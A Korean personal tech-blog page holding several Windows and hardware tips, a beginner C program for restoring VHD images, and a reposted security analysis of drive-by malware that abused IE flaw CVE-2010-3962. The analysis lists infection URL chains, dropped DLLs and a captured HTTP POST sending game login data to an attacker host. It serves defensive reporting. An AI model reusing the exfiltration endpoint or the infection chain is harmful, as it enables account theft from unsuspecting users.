«   2026/02   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28

어베스트에서 사회 공헌 이벤트 명목으로 초저가 할인 행사중입니다.

현재 1pc당 1년 라이센스 3만원 하는 프로버전의 경우 3천원으로 90% DC 중이네요.

평소에 무료백신만 써보셨던 분들 이참에 한번 쯤 유료 백신도 써보는건 어떨까요?

 

자세히 알아보기 : http://www.avastkorea.com/event/

 


,

윈도우8 및 여타 스타일 UI 사용 시스템에서 안전모드로 진입하지 못해서 쩔쩔매는 경우가 아직 많다. 
그 이유는 윈8 이후 bcd라는 부팅 정보를 담고있는 레코드에 아래 bootmenupolicy legacy 옵션이 기본값에서 빠져있기 때문.
먼저 윈8 및 차후 시스템에서 안전모드에 접근하려면 

시작 -> 실행 -> msconfig 엔터
안전 실행에 체크한 뒤 다시시작하면 안전모드로 부팅된다.
but, 안전모드 사용 안할시 다시 체크를 풀지 않으면 계속 안전모드로만 부팅

시작 -> 실행 -> cmd
bcdedit /set {default} bootmenupolicy legacy
기존의 부팅시 F8 누름을 통해서 안전모드 접근 가능.
{defalut}대신 {current}나 bcdedit 실행시 나오는 본인 시스템의 identifier 를 입력해도 무관

최신 시스템에서 F8이 안된다고 당황하지 말자.

,



해외 프로그램이긴 하지만 4대 메이저 음반업체와 계약을 채결한 이 Qtrax를 아는 사람은 알지도 모른다.

그런데 이 프로그램이 아주 악질적인 단점이 있다면 언인스톨이 제대로 되지 않는다.



내가 이 프로그램을 접하게 된 것은 인터넷 동영상 다운로드 프로그램은 FreeMake라는 무료 소프트웨어를 설치한 시점이었다.

무료 소프트웨어를 애용하면서도 항상 노심초사하는 것은 언제 어디서 어떤 악질프로그램이나 바이러스에 시달릴지 모른다는 것이다.

그나마 약관 동의나 체킹 형식으로 형식상 물어라도 보면 양반이지만 그런 것조차 없으면(프로그램 구동에 필요한 요소로 인식하면 사용자 동의가 없더라도 포함된 패키지에서 찾아 설치가 된다.


이 경우는 어떤 식으로 설치됬는지는 모르겠지만, 당시 나는 Youtube Downloader HD를 다운로드만 하고 설치하지 않은 상태였고, FreeMake로 4개의 Youtube 영상을 다운로드 중이었으며, 다른 작업은 일체 하지 않았음에서 Freemake를 유력하고 손꼽고 싶다.

이 프리웨어는 치명적으로 Windows server 2012 64bit에서 엄청난 과부하를 가져온다.


동영상 다운로드 하는 프로그램이 cpu가 과부하라니 이해가 안되는 상황이었다.



이 상황은 지금 상황을 재현하기 위해 재설치를 시도한 상태이다. 재 설치 후 같은 영상을 다시 다운로드 시도하는 순간 갑작스런 과부하를 가져왔다. 우연이라고 하기엔 여러회에 걸쳐 동일한 경우를 가져왔으며,과부하로 Qtrax 설치는 진행이 멈춘듯 했다.

게다 프로세스 마저 곧바로 죽지를 않고 프로그램이 종료 되었음에도 계속 메모리에서 상주해 강제로 내리는 수밖에 없었다.



간신이 이 프로그램을 잠재우고 남은 것은 Qtrax 였다.

나의 경우 프로그램이 과부하에 걸리면서 설치가 진행되지 않아 재 시현시에는 설치되지 않았다.

하지만 다른 누군가가 Qtrax 설치 후 제거에 문제가 생기지 않을 까 싶어 포스팅을 한다.




FreeMake로 동영상을 다운로드 하는 도중 갑자기 Qtrax가 제멋대로 실행이 되었다.

이게 뭔가 했는데 나는 절대 설치한 적도 실행한 적도 없는 프로그램이 아닌가?

깜짝 놀래서 프로그램 추가/제거(appwiz.cpl)를 실행해보니 가장 마지막 설치 프로그램에 Qtrax Player가 자리를 잡고 있는 것이었다.

나는 분명 FreeMake를 설치했는데 이게 3순위로 설치되어 있었다.(2순위는 FreeMake의 플러그인으로 추정되는 다른 프로그램이 있었다.)

그래서 어서 지워보려고 했다.

아니나 다를까 Qtrax를 언인스톨 시도 했을 때 시스템 에러가 발생하였다.

권한이 부족하다는 것이었다.


시스템 관리자에 의해 설치를 하지 못하였습니다. 

대충 이것과 비슷한 문구였다.(재 시현-Freemake를 통한 설치-이 안되어 스샷은 첨부하지 못했다.)

아니 무슨 쌩뚱맞은 소린가 싶어 관리자 권한으로도 시도해보고 Administrator 계정으로 로그인해서도 시도했으나 제거가 안된다.

아니 이 무슨 황당한;;


나와 같은 경우를 겪거나 다른 비슷한 경우로 언인스톨이 되지 않는 분들은 이글을 참조해보기 바란다.


나의 경우 우선 프로그램 메뉴에서 언인스톨러 바로가기를 찾았다.

이 바로가기(Uninstall Qtrax Player)에서 가리키는 주소를 전부 복사하였다.

참고로 저대로 실행하거나 관리자 권한을 주어도 권한 없음 및 엑세스 거부로 제거는 안된다.



이 프로그램의 경우 별도의 언인스톨러가 있는 것이 아니라 C:\Windows\SysWOW64\misexec.exe 를 통해서만 제거가 가능했다.


이제 명령 프롬프트(cmd)나 파워쉘(Power Shell)을 관리자 권한으로 실행한다.

그러면 별도로 레지스트리(regedit.msc)를 건들지 않는 한 c:\Windows\system32 로 프롬프트가 이동해 있을 것이다.

여기에 이제 조금전 바로가기가 가리키턴 주소를 입력한다.


이곳 저곳 왔다갔다 확인하느라 프롬프트 위치가 다르지만 아무 위치에서 입력해도 문제는 없다.


프로그램 우클릭을 통한 관리자 권한은 제대로 먹히지 않았지만 커멘드 상에서의 관리자 권한은 온전히 적용이 되어 삭제가 되었다.

,

스누피님께 메일로 허락을 받고 BCD 종합 관리 도구를 포팅 및 개선작업 중입니다.

관리자 권한에 생소하거나 깜빡해서 종료 후 재실행 하는 것을 방지하기 위해 관리자 권한으로 실행되게끔 메니페스트를 추가할 예정입니다.


그 외 필요하다 생각되는 기능이 생긴다면 - 이미 이 자체로도 완벽합니다만 - 더 추가토록 하겠습니다.

,

SSD 시장이 많이 활성화 되면서 인터넷에는 SSD 최적화 방법, 기업에서 제공하는 SSD 관리 프로그램 등 많은 유틸리티와 팁들이 올라오고 있습니다.

제가 이번에 알려드리려 하는 것은 다른 글들이 잘 알려주지 않거나 특수 경우라 언급하지 않은 경우에 대한 팁을 알려드리고자 합니다.

흔히 SSD 프리징은 하드웨어 세팅에 의한 것이라고들 하고 Microsoft나 Samsung 또한 그렇게 답변을 합니다.

이 글에서는 하드웨어 문제가 아닌 경우의 프리징의 예를 두가지 들어보겠습니다.


위 스크린샷은 최근 제가 친구로부터 휠을 구해 플레이 중인 유로 트럭 2 입니다.

초기에 제가 이 게임을 하는데 상당히 프리징을 겪었는데요. 

알고보니 게임 세팅이 문제였습니다.

이는 이 게임 뿐만 아니라 다른 CD 게임들, 임시 파일 혹은 개인 프로필 쓰기 작업이 자주 이뤄지는 모든 게임에 공통되는 사항이 아닌가 싶습니다.


저같은 경우 이 게임은 내문서에 프로필과 스크린샷, 모드 파일등을 기록하게 되어 있는 게임입니다.

제가 프리징 걸린 이유중 하나가 바로 이것때문이었습니다.


HDD에 기록된 프로그램이 과하게 SSD에 데이터를 기록하고 참조하거나

SSD에 기록된 프로그램이 과하게 HDD에 데이터를 기록하고 참조하면


프리징에 걸릴 확률이 있습니다.


문서 작업과 같은 프로그램은 과하겍 쓰기/읽기가 발생하지는 않습니다.

일정 주기로 임시 저장하거나 최종 저장시만 저장 매체에 쓰기가 발생하기 때문이죠.


하지만 게임은 수시로 읽기와 쓰기가 이뤄지기 때문에 프리징이 발생합니다.

다른 예로 Adobe Premiere 도 파일을 내보낼 때 SSD로 저장시 그 데이터가 용량이 과하거나 다른 읽기/쓰기 작업시 저장을 시도하면 프로그램이 다운되거나 짧은 프리징이 간헐적으로 발생하는 경우도 생깁니다.


이 게임 또한 정확한 원인분석은 아니지만 HDD에 기록된 프로그램은 HDD의 한계속도 이상의 데이터 처리가 힘든 반면 그에 비교할 수 없는 속도로 데이터가 들어오거나 나가면서 프리징이 발생하는 것이 아닌가 생각합니다.


그렇게 생각하는 이유는 바로 이 부분에 있습니다.

SSD 프리징은 다른 하드웨어 간의 속도차에 의해 프리징이 발생하는 경우가 대다수입니다.

이 점에 착안한다면 서로 다른 속도의 보조 저장 매체의 속도차가 생기지 않게 동등한 디스크에 저장하면 되지 않느냐는 것입니다.

그래서 저는 내 문서에 있는 게임 프로필 파일을 전부 잘라내어 게임 폴더 안에 넣은 뒤(같은 디스크라면 SSD든 HDD든 어디든 상관 없습니다. 환경 파일이 아닌 게임을 옮겨가도 됩니다.) cmd를 열고 아래의 작업을 수행하였습니다.


cmd 실행


C:\Users\nazuna>cd Documents <- 내 문서 이동

C:\Users\nazuna\Documents>rd "Euro Truck Simulator 2" <-기존 게임 디렉토리 삭제(하위 파일들은 미리 옮겨두세요)

C:\Users\nazuna\Documents>mklink /d "Euro Truck Simulator 2" "D:\Program Files (x86)\Euro Truck Simulator 2"

<- 동일한 디렉토리 명으로 실제 이동한 파일이 위치한 디렉토리로 링크


내 문서 위치

XP이하 : C:\Documents and Settings\User name\My Documents

7이상 : C:\Users\User name\Documents


위 작업을 통해 실질적 데이터는 HDD로 옮기고 프로그램이 인지하는 C:\Users\nazuna\Documents\Euro Truck Simulator 2 는 링크화 하여 이동된 파일의 디렉토리를 지정했습니다.

프로그램은 SSD의 위 경로에 파일이 있는 것으로 인지하지만 실질적 파일은 HDD에 있는 거지요.


이렇게 세팅하기전과 후 플레이를 각 5시간, 10시간 씩 테스트를 하였습니다.

게임 자체가 HDD에 있는 만큼 그에 따른 약간의 딜레이는 가끔 발생하지만(그래픽 설정을 조금 낮추면 이마저도 안나타 나더군요. 이건 그래픽이 문젠가?) 결과적으로 프리징은 전혀 발생하지 않았습니다.


프리징 최적화를 하고 팁을 보아도 문제 해결이 안되거나 특정 프로그램 구동시에만 프리징이 발생한다면 이와 같이 프로그램이 사용하는 디렉토리들을 점검해 보아야 하지 않나 생각합니다.


컴퓨터 파워가 약해도 프리징은 발생합니다.

제 워크스테이션은 서버로 구동중입니다.

어느날 뜬금없이 프리징이 걸려 로그를 보니 글쎄 파워가 부족으로 인한 시스템 다운이 기록되어져 있네요..

파워가 약할리가 없는데 하고 보니 글쎄 파워가 노후화가 되어 파워공급이 불안정했더군요..

일정 수치 이하로 떨어졌을 때 프리징이 발생했던 거였습니다..


컴퓨터 파워 공급도 프리징의 한 축이 되니 파워도 점검을 해보아야 할 것입니다.

,



저같은 경우 C언어를 공부중이라 C언어를 통해서 처리하려고 했습니다.


#include <stdio.h>

#include <stdlib.h>


우선 시스템에 직접 명령을 주려면 system()함수를  써야합니다.

이 함수를 위해 stdlib.h 라이브러리를 우선 인클루드합니다.

만약, PE모드에서 부팅했을 때 어떤 드라이브명인지 모를 경우를 고려한다면 io.h도 같이 인클루드 합니다.


파일의 존재 유무로 해당 파일이 있는 파티션을 찾아서 작업을 해야하는데 이 파일 유무를 체크해주는 함수가 access()함수입니다.

이 함수는 io.h에 들어있습니다.


access()함수에 대해서 여기서는 자세히 알 필요는 없습니다.

access()함수의 사용법은 다음과 같습니다.

access("const char* filename", int amode);

amode로는 여러가지가 있지만 우리는 여기서 0만을 사용합니다. 0은 해당 파일이 있는지 없는지 존재 유무를 체크하는 모드입니다.


저의 경우 파티션의 루트에 clean.vhd가 존재합니다.


int disk_chk;

disk_chk=access("C:\clean.vhd",0);

if(disk_chk==0)

system();


disk_chk=access("D:\clean.vhd",0);

if(disk_chk==0)

system();


disk_chk=access("E:\clean.vhd",0);

if(disk_chk==0)

system();


disk_chk=access("F:\clean.vhd",0);

if(disk_chk==0)

system();


파티션마다 다 찔러봐서 clean.vhd가 존재한다면 system()함수가 동작하게 합니다.

저의 경우 실력 미달로 저렇게 여러줄을 Ctrl + c, v 신공을..^^;


자기자신의 clean.vhd가 pe부팅시 어느 위치에 있는지 명확히 아신다면 위 과정은 생략합니다.(io.h또한 인클루드하지 않아도 됩니다)


이제 system()함수를 구성해야하는데 이것은 별다른 설명이 필요치 않습니다.

()사이에 "명령어"를 넣어주는 것으로 일은 끝납니다.


system("copy E:\clean.vhd E:\child1.vhd");


물론 각 if문에 맞춰서 드라이브문자열은 변경하시기 바랍니다. 파일 경로또한 본인에 맞게 쓰시면 됩니다.




#include <stdio.h>

#include <stdlib.h>


main()

{

int /*drive_check,*/menu;

//char path[] = "C:\clean.vhd";

//char drive = 'C';


printf("Optimized VHD Recovery Program on NAZUNA's Workstation\n\n");

printf("1 : HDD Recovery\n2 : HDD Parent Recovery\n3 : SSD Recovery\n0 : Skip\n");

printf("=>");

scanf("%d",&menu);


/* VHD 파일의 위치를 정확히 알 수 없을 때

for (; drive < 'Z'; ++drive) 

{

path[0] = drive;

drive_check = access(path, 0);

if (drive_check == 0)

break;

}

*/

switch(menu)

{


case 1:


printf("Child VHD CleanUp Start!\n");

system("copy E:\clean.vhd E:\child1.vhd");

printf("child1.vhd Clear\n");

system("copy E:\clean.vhd E:\child2.vhd");

printf("child2.vhd Clear\n");

system("bcdedit /default {232e6f06-175a-11e2-aa26-00190e10ed83}");

printf("Set default child1.vhd\n");

printf("\n Complete! \n");

system("pause");

break;


case 2:

printf("Parent VHD CleanUp Start!\n");

printf("HDD의 VHD 백업 파일의 용량에 따라 십수분 이상 걸릴 수 있습니다.\n");

system("copy E:\bkp\Windows7_Enterprise_K_MSDN.vhd E:\Windows7_Enterprise_K_MSDN.vhd");

printf("Add Parent VHD in bootloader...\n");

system("diskpart /s diskpart_script.txt");

system("bcdboot z:\windows /l ko-kr");

system("bcdedit /default {232e6f0f-175a-11e2-aa26-00190e10ed83}");

printf("\n Complete! \n");

system("pause");

break;


case 3:

printf("SSD OS CleanUp Start!\n");

printf("SSD의 VHD 백업 파일의 용량에 따라 십수분 이상 걸릴 수 있습니다.\n");

system("copy E:\Windows7_Enterprise_K_MSDN.vhd D:\Windows7_Enterprise_K_MSDN.vhd");

printf("\n Complete! \n");

system("pause");

break;


case 0:

break;


default:

system("cls");

printf("잘못된 선택입니다.\n");

main();

break;

}

}



주석이 달린 부분은 아직 미완성인 부분입니다.

컴파일러가 없어도 배포하는 프로그램만으로 스스로 파일을 찾아서 적용케 하려고 했지만 저도 아직은 배우는 입장이다보니 힘드네요 ㅠㅠ


추가.

파일을 찾아 적용하는 구문이 초기에 내가 문자열을 다루는 함수를 거의 몰라서 처리를 하지 못했는데 string.h 에 있는 strcat 함수를 응용하면 

system함수에 본인이 찾은 경로를 바로 입력이 가능하다.

그것을 구현하지 못해서 취소선을 그려두었는데 찾았으니 재 작업할 예정

,

참.. 많은 분들이 Enterprise 버전과 Ultimate 버전이 같다고들 하십니다.

많은 유명 블로그분들도 그렇구요.

MS에서 제공한 내용과 겉보기의 성능은 같지만 뜯어보면 다른 시스템입니다.

일반 유저로써는 못느끼겠지만 네트워크로 여러가지를 사용하는 사람이라면 깨달을 수가 있죠.


현재 제가 찾은 것은

첫째, 멀티세션(유니버셜 로긴)입니다.

네트워크 기능 중에서 원격제어 기능을 써보신 분은 아시겠지만 Starter~ Ultimate까지 전 제품은 멀티세션이 지원되지 않습니다.

원격제어로 잠시 일처리를 하고 싶은데 지금 앉아 있는 컴퓨터가 구형이라 오래 걸리고 파일도 집에있는 컴퓨터에 있다.

그런데 누군가가 로컬에서 사용중이라면 로컬 사용자는 바로 로그오프가 되어 버려 사용 불가 상태가 됩니다.

원격지에서 Disconnect 하거나 로그오프하지 않는 이상 계속 쓸수 없습니다.

엔터프라이즈는 이 기능이 지원됩니다.

그래서 고성능 PC 한대에 윈도우 및 각종 프로그램을 설치해서 여러사람이 멀티세션으로 동시에 이용할 수 있게끔 되어있죠.

Professional급 이상은 물론 Universal Patch를 통하여 멀티 세션 사용이 가능하지만 기능에 제약이 걸립니다.


둘째, Send Message 입니다.

이 기능은 쓰는 사람만 쓰는 기능이긴 합니다.

하지만 멀티 세션 사용자 끼리 이야기를 나눌때는 어느 특정 메신저를 사용할 필요없이 해당 PC내에서 모든 메시지 교환이 이루어 지기 때문에 PC자체가 바이러스가 감염되지 않는 한 밖으로 샐 우려가 없죠.

저같은 경우 이 기능을 통해 로컬에서 사용중인 사람과 자주 메시지를 주고받곤 합니다.

이 기능은 Universal Patch를 해도 사용할 수 없습니다.

패키지 자체에서 빠져있고 TechNet에 문의한 결과 엔터프라이즈 외에는 사용할수도 추가 설치 할 수도 없게 되어있다고 합니다.

그 외에도 몇몇 네트워크 관련 기능이 얼티메이트에는 빠져있습니다.


더 찾으면 추가하겠습니다만 아직 확실치는 않지만(제가 다시 얼티메이트를 설치해서 비교해봐야 하지만) 의심되는 부분도 몇군데가 더 있습니다.


확실한 것은 엔터프라이즈와 얼티메이트는 같은 것이 아닙니다. 오해하지 마세요.

,

윈도우 8 개발자 버전이 업로드 되었습니다.
아직 개발단계다 보니 영문만 제공하구요.

8 + 개발자 툴 버전.
8 개발자 미리보기 버전
8 개발자 미리보기 버전 (x86)

세가지를 지원하네요.

자세한 설명은 여기를 참조.
http://chitsol.com/1518
,
VMWare 7버전부터는 한/영키가 안먹히는 경우가 있습니다.
저는 당황해서 vmware설정도 봐보고 CentOS(제가 설치한 것)에서도 찾아봤지만 방법이 없었는데요.
7버전부터는 scim설치까지는 같지만 키가 다릅니다.
xev로 확인하면 한/영 키는 아예 이벤트가 발생하지 않는데요.
오른쪽 Alt키를 누르니 Hangul이라고 나오네요.
한/영키를 눌렀을 때 모습. 스샷찍느라 생긴 이벤트 외에는 기록이 되지 않았다.

오른쪽 alt키를 눌렀을때, Hangul이라고 이벤트가 발생함을 볼 수 있었다.



이것을 그대로 scim에 적용하니 성공!
아마 해외 키보드에서 한글 입력을 편하게 하기 위해 그런듯 합니다.
정작 한국인은 자꾸 헷갈려서 한/영키를 누르지만요.. 뭐.. 어떻게든 되겠죠..
입력되는게 어딘지;;
,
11월 초에 공개된 Internet Explorer 제로데이(0-Day) 취약점 CVE-2010-3962은 전 세계적으로 한국과 중국에서 가장 활발하게 악용되는 것으로 최근 마이크로소프트(Microsoft)에서 발표를 한 적이 있습니다.

최근에는 해당 취약점과 더불어 추가적인 악성 스크립트를 포함하여 보안 제품의 진단을 우회하는 경향이 강하게 나타나고 있으므로 인터넷 사용자들은 반드시 유명 보안 제품의 실시간 감시 기능을 활성화하시고 이용하시기 바랍니다.

참고로 CVE-2010-3962 취약점은 12월 15일에 12월 마이크로소프트 정기 업데이트에서 보안 패치가 제공되는 것으로 알려져 있으므로 반드시 설치하시기 바랍니다.

이번 주말을 이용한 악성코드 유포 중 눈에 띄는 사례는 국내 유명 J 언론 사이트를 해킹하여 악성 스크립트(1.html / 2.html)를 등록하고, 또 다른 온라인 광고 서버의 특정 스크립트 파일 내부에 악성 iframe을 추가하여 다양한 인터넷 사이트에서 유포가 이루어지도록 구성한 점이 특징입니다.


해당 그림은 특정 광고 서버의 정상적인 스크립트 파일 내부에 Base64로 인코딩한 iframe을 추가하여 해당 광고가 포함된 인터넷 사이트를 방문할 경우 실행되도록 구성되어 있습니다.
[광고 서버 악성코드 유포 경로]

h**p://ad.**tive.co.kr/js/shiny_Rolling.js
 ㄴ h**p://ad.**tive.co.kr/js/&#x68;&#x74~(생략)~;&#x6D;&#x6C;

해당 iframe은 국내 J 언론 사이트가 해킹되어 등록된 파일로 연결이 이루어지고 있으며, 세부적인 유포 경로는 다음과 같습니다.

h**p://cutyline.zuzu***.jo***.com/illust/data/1212/index.html
 ㄴ h**p://cutyline.zuzu***.jo***.com/illust/data/1212/load.html
   ㄴ h**p://cutyline.zuzu***.jo***.com/illust/data/1212/1.html (Hauri ViRobot : JS.S.Agent.4543)
     ㄴ h**p://cutyline.zuzu***.jo***.com/illust/data/1212/k.js
     ㄴ h**p://down.play***.info/1210.exe
   ㄴ h**p://cutyline.zuzu***.jo***.com/illust/data/1212/2.html (nProtect : Script-JS/W32.Agent.AXB)
     ㄴ h**p://down.play***.info/1210.exe
 ㄴ h**p://s14.cnzz.com/stat.php?id=2508468&web_id=2508468

2.html 파일은 CVE-2010-3962 취약점을 이용한 것으로 Internet Explorer를 이용하여 접속한 사용자의 경우 보안 제품에서 진단하지 않는다면 자동으로 감염이 이루어지고 있는 상태입니다.

참고로 예전에는 CVE-2010-3962 취약점만을 이용하였지만 최근에는 추가적인 악성 스크립트를 통해 감염률을 증가시키는 것으로 보입니다.

해당 2개의 악성 스크립트를 통해 최종적으로 사용자 PC에 생성되는 1210.exe (SHA1 : 6f6d41f0a014ad80a1990047b74f59e11c673021) 파일에 대하여 안철수연구소(AhnLab) V3 보안 제품에서는 Win-Trojan/Agent.81920.ADW (VirusTotal : 24/43) 진단명으로 진단되고 있습니다.

출처 : 안철수연구소(AhnLab)


참고로 해당 진단명의 경우 현재 시간 진단 비율이 증가하고 있는 것을 확인할 수 있습니다.

[생성 파일 등록 정보]

C:\WINDOWS\system32\imm32.dll :: 수정된 악성 imm32.dll 파일 - 114,176 Bytes
C:\WINDOWS\system32\imm32.dll.log :: imm32.dll 백업 정상 파일 - 110,080 Bytes
C:\WINDOWS\system32\ole.dll

[생성 파일 진단 정보]

C:\WINDOWS\system32\imm32.dll (SHA1 : 9f16c4e71b42313ef75d0837525586726660c031)
 - AhnLab V3 : Trojan/Win32.Patched (VirusTotal : 22/41)

C:\WINDOWS\system32\ole.dll (SHA1 : 35dda46cd4f43320273f97304a37e7faa11f1e3a)
 - AhnLab V3 : Win-Trojan/Agent.53248.ASE (VirusTotal : 17/43)

  • <안철수연구소 ASEC 대응팀> 악성코드로 인한 imm32.dll 파일 변조 조치 가이드
  • <안철수연구소> Win-Trojan/Patched.AT 전용 백신
  • 악성코드 유포 : CVE-2010-3962 제로데이 취약점을 이용한 온라인 게임 계정 탈취 (2010.11.13)
  • 해당 악성코드는 기존부터 이용되던 imm32.dll 정상 파일을 악성 파일로 바꿔치기를 하여 것을 확인할 수 있으며, 해당 파일 변조에 대해 보안 업체에서는 전용 백신 및 수동 조치 방법을 공개하고 있습니다.

    감염된 PC에서는 V3 보안 제품 등을 무력화하여 자신을 보호하며, 사용자가 웹 브라우저를 실행하여 다양한 온라인 게임 사이트에서 로그인을 시도할 경우 계정 정보를 외부로 유출하는 것으로 알려져 있습니다.

    ole.dll

    [한게임 로그인시 네트워크 연결 정보]

    POST /hgrt/lin.asp?CODE=HQTITnHTLRTTQQ~(생략)~IpopIpmpopVRJpmQVRIT HTTP/1.1
    Accept: image/gif, */*
    Accept-Language: zh-cn
    Content-Type: multipart/form-data; boundary=---------------------------7d86c3324596
    Accept-Encoding: gzip, deflate
    User-Agent: Mozilla/4.0
    Host: with.freeoicq.info
    Content-Length: 194
    Connection: Keep-Alive
    Cache-Control: no-cache

    실제 한게임 사이트에서 사용자가 로그인을 시도할 경우 홍콩(HongKong)에 호스팅된 특정 서버로 정보가 유출되는 것을 확인할 수 있었습니다.

    그러므로 위와 같은 악성코드에 감염된 사용자는 치료가 완료될 때까지 절대로 온라인 게임 등 인터넷 사이트 로그인을 하지 않도록 주의하시기 바라며, 조만간 공개될 보안 패치 업데이트를 반드시 설치하시고 인터넷을 이용하시기 바랍니다.

    http://hummingbird.tistory.com
    ,
    1 2 3
    프로필 이미지
    It's the Only NEET Thing to do. written by 나즈나
    분류 전체보기 (256)
    포트폴리오 (2)
    여러가지 (160)
    Windows (26)
    Linux (1)
    Server (5)
    컴퓨터 (48)
    전자기기 (3)
    자격증 (3)
    모바일 (1)
    공유기 (4)
    초소형컴퓨터 (3)